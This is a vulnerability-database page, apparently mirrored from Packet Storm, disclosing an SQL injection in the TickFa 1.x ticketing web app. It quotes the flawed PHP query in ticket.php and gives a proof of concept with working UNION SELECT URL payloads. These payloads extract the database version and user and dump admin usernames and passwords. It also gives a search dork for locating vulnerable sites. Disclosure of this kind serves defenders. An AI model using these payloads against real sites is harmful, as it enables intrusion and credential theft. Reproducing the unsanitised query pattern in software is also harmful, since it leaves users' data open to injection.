Lucene search
K

TickFa 1.x SQL Injection

🗓️ 07 Jun 2015 00:00:00Reported by Mohammad Reza EsparghamType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 16 Views

TickFa 1.x SQL Injection Vulnerability in ticket.ph

Code
`/*  
#[+] Author: Mohammad Reza Espargham  
#[+] Title: TickFa 1.x - SQL Injection Vulnerability  
#[+] Date: 26-04-2015  
#[+] Vendor: http://tickfa.aftab.cc/  
#[+] SoftWare Link : http://tickfa.aftab.cc/dl/tickfa.zip  
#[+] Type: WebAPP  
#[+] Tested on: KaliLinux (Debian) / curl 7.35.0  
#[+] GHDB : intext:"تیکت برای بخش مورد نظر ایجاد نمایید"  
dash>  
*/  
  
  
  
  
[+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+]  
ticket.php Source  
  
$tid = $_REQUEST['tid'];  
$userid = $_SESSION['userid'];  
....  
....  
$reply = mysql_query("SELECT * FROM `".$dbprefix."answers` WHERE   
tid='$tid' order by date");  
while($reply_row=mysql_fetch_array($reply))  
{  
  
  
[+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+]  
  
////////////////  
/// POC ////  
///////////////  
1. You Most register in website from this link   
http://site.com/register.php  
2. You most login in website  
3. send ticket  
4. Your Vulnerabe Link  
http://site.com/ticket.php?action=read&tid={Ticket ID}  
http://site.com/ticket.php?action=read&tid=65'  
  
  
http://site.com/ticket.php?action=read&tid=65 union select   
3,4,5,6,7,8,9,10,CONCAT_WS(CHAR(59),version(),current_user(),database())   
from [profix]_admins  
http://site.com/ticket.php?action=read&tid=65 union select   
1,2,3,4,5,6,7,8,9,10,group_concat(apass,0x23,auname) from   
[profix]_admins  
5.END <3  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

07 Jun 2015 00:00Current
0.2Low risk
Vulners AI Score0.2
16